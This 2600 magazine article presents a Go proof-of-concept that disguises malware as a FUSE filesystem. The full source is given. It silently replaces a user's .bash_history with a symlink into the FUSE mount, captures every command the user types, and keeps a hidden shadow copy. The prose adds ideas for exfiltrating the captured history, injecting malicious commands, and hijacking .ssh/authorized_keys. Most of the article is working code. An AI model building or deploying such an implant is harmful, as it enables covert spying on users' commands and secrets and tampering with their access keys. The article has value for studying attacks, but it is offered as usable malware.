Malware in the Filesystem

by Maysara Alhindi

While researching UNIX sandboxing solutions, one in particular caught my attention: github.com/tsgates/mbox

This sandbox creates a copy-on-write version of any file accessed by a sandboxed process, intercepting specific system calls using seccomp and ptrace().  The solution is old, but still fascinating.  Naturally, I started wondering: how could we build a better version?

Filesystem in Userspace (FUSE) is a Linux kernel module that lets you implement a filesystem entirely in user space.  That means you can write your own special filesystem using the FUSE protocol.  For our sandboxing example, this allows us to intercept every file access, log it, create copies, or tamper with it at will.  All filesystem operations are under our complete control.

But of course, the mind doesn't stop there.  This wouldn't be a proper 2600 note without a little chaos.  How might we abuse the power of FUSE?  This note presents a PoC demonstrating how FUSE can be used to create malware disguised as a filesystem.  Specifically, we'll show how to spy on the commands typed into a user's terminal.  Pretty neat, right?

If you open a terminal on Linux, you'll notice you can scroll through your command history with the up and down arrows.  But where is that history stored?  And how does it actually work?

In Bash, for example, your command history is saved to a file called .bash_history.  When a shell session exits, Bash flushes the session's commands into that file.  When you open a new terminal, Bash reads .bash_history back into memory so you can reuse old commands.

Interesting.  So our goal now is to spy on .bash_history.

Thanks to FUSE, we can do this without even reading the real file directly.  One method is to replace the user's .bash_history with a symlink to a file inside our FUSE-mounted filesystem.  Every time Bash writes a new command to history, our FUSE node sees the write.  This lets us silently capture the user's command history, and exfiltrate it to a server.

Another method is to modify the HISTFILE environment variable in .bashrc to point to a file inside our FUSE filesystem.  This achieves the same goal, as every read and write to the history file is now fully under our control.

We can also hook read operations on the history file, serving either the legitimate content or injecting malicious commands into the user's history.

This idea naturally extends to other sensitive files, for instance, .ssh/authorized_keys.  What's beautiful about this approach is that the malware never reads or opens the target files directly.

Instead, it impersonates the filesystem itself.  Malware as the filesystem!  The filesystem is the payload.

+------------------------+
|     User Terminal      |
|   (typing commands)    |
+-----------+------------+
            |
            v
+------------------------+
|       Bash Shell       |
|  (writes to HISTFILE)  |
+-----------+------------+
            |
            v
+------------------------+
|    FUSE FS (evil)      |
|   - Intercepts writes  |
|   - Logs commands      |
|   - Can modify data    |
+-----------+------------+
            |
            v
+------------------------+
|        Real FS         |
|  (actual disk storage) |
+------------------------+

cleanup.go

package main

import (
        "bazil.org/fuse"
        "os"
)

func clean() {
        if conn != nil {
                conn.Close()
        }
        fuse.Unmount(mountPath)
        deleteFiles()
}

func deleteFiles() {
        err := os.Remove(originalFile)
        handleError(err)

        err = os.Rename(shadowFile, originalFile)
        handleError(err)

        err = os.RemoveAll(mountPath)
        handleError(err)
}

data.go

package main

import (
        "log"
        "os"
)

func handleData(data string) {
        log.Println("History was captured", data)
        copyToShadow(data)
}

func copyToShadow(data string) {
        f, err := os.OpenFile(shadowFile, os.O_APPEND|os.O_WRONLY, 0644)
        handleError(err)
        defer f.Close()
        _, err = f.WriteString(data)
}

errors.go

package main

import (
        "log"
)

func handleError(err error) {
        if err != nil {
                log.Fatal(err)
        }

fuse.go

package main

import (
        "bazil.org/fuse"
        bazilfs "bazil.org/fuse/fs"
        "context"
        "os"
)

type FS struct{}
type Dir struct{}
type File struct{}

var conn *fuse.Conn

func installFuse() {
        conn, err := fuse.Mount(
                mountPath,
                fuse.FSName("fuse"),
                fuse.Subtype("logger"),
        )
        handleError(err)
        defer clean()

        err = bazilfs.Serve(conn, FS{})
        handleError(err)
}

func (FS) Root() (bazilfs.Node, error) {
        return Dir{}, nil
}

func (Dir) Attr(ctx context.Context, a *fuse.Attr) error {
        a.Mode = os.ModeDir | 0755
        return nil
}

func (Dir) Lookup(ctx context.Context, name string) (bazilfs.Node, error) {
        if name == ".history" {
                return File{}, nil
        }
        return nil, fuse.ENOENT
}

func (Dir) ReadDirAll(ctx context.Context) ([]fuse.Dirent, error) {
        return []fuse.Dirent{}, nil
}

func (File) Attr(ctx context.Context, a *fuse.Attr) error {
        info, err := os.Stat(shadowFile)
        if err != nil {
                return err
        }
        a.Mode = 0644
        a.Size = uint64(info.Size())
        a.Mtime = info.ModTime()
        return nil
}

func (File) ReadAll(ctx context.Context) ([]byte, error) {
        return os.ReadFile(shadowFile)
}

func (File) Write(ctx context.Context, req *fuse.WriteRequest, resp *fuse.WriteResponse) error {
        content := string(req.Data)
        handleData(content)
        resp.Size = len(req.Data)
        return nil
}

hide.go

package main

import (
        "os"
)

func createLink() {
        err := os.Remove(originalFile)
        handleError(err)

        linkTarget := mountPath + "/.history"
        _, err = os.Create(linkTarget)
        handleError(err)

        err = os.Symlink(linkTarget, originalFile)
        handleError(err)
}

func createCopy() {
        data, err := os.ReadFile(originalFile)
        handleError(err)

        err = os.WriteFile(shadowFile, data, 0644)
        handleError(err)
}

main.go

package main

import (
        "os"
        "os/signal"
        "os/user"
        "path/filepath"
        "syscall"
)

var (
        mountPath    string
        originalFile string
        shadowFile   string
        homeDir      string
)

/*
Malware in the filesystem.

This PoC does the following:
- Creates a copy of .bash_history file (shadow file)
- Creates a FUSE mount point.
- Creates a symlink from .bash_history to a file inside the FUSE mount point
- Captures the history data when written to .bash_history
- Writes a copy of the data to the shadow file
- When .bash_history is read, serve the data from the shadow file
*/
func main() {
        usr, err := user.Current()
        handleError(err)

        homeDir = usr.HomeDir

        historyName := ".bash_history"
        if len(os.Args) > 1 {
                historyName = os.Args[1]
        }

        originalFile = filepath.Join(homeDir, historyName)
        shadowFile = filepath.Join(homeDir, ".bh_copy")
        createCopy()

        mountPath = filepath.Join(homeDir, ".mount")
        err = os.MkdirAll(mountPath, 0755)
        handleError(err)

        createLink()
        go installFuse()
        handleSignals()
}

func handleSignals() {
        sigs := make(chan os.Signal, 1)
        done := make(chan bool, 1)

        signal.Notify(sigs, syscall.SIGINT, syscall.SIGTERM)

        go func() {
                <-sigs
                clean()
                done <- true
        }()

        <-done
}

go.mod

module malware

go 1.24.2

require bazil.org/fuse v0.0.0-20230120002735-62a210ff1fd5

require golang.org/x/sys v0.4.0 // indirect

go.sum

bazil.org/fuse v0.0.0-20230120002735-62a210ff1fd5 h1:A0NsYy4lDBZAC6QiYeJ4N+XuHIKBpyhAVRMHRQZKTeQ=
bazil.org/fuse v0.0.0-20230120002735-62a210ff1fd5/go.mod h1:gG3RZAMXCa/OTes6rr9EwusmR1OH1tDDy+cg9c5YliY=
github.com/tv42/httpunix v0.0.0-20191220191345-2ba4b9c3382c h1:u6SKchux2yDvFQnDHS3lPnIRmfVJ5Sxy3ao2SIdysLQ=
github.com/tv42/httpunix v0.0.0-20191220191345-2ba4b9c3382c/go.mod h1:hzIxponao9Kjc7aWznkXaL4U4TWaDSs8zcsY4Ka08nM=
golang.org/x/sys v0.4.0 h1:Zr2JFtRQNX3BCZ8YtxRE9hNJYC8J6I1MVbMg6owUp18=
golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=

Code: malware-fs.tgz

Return to $2600 Index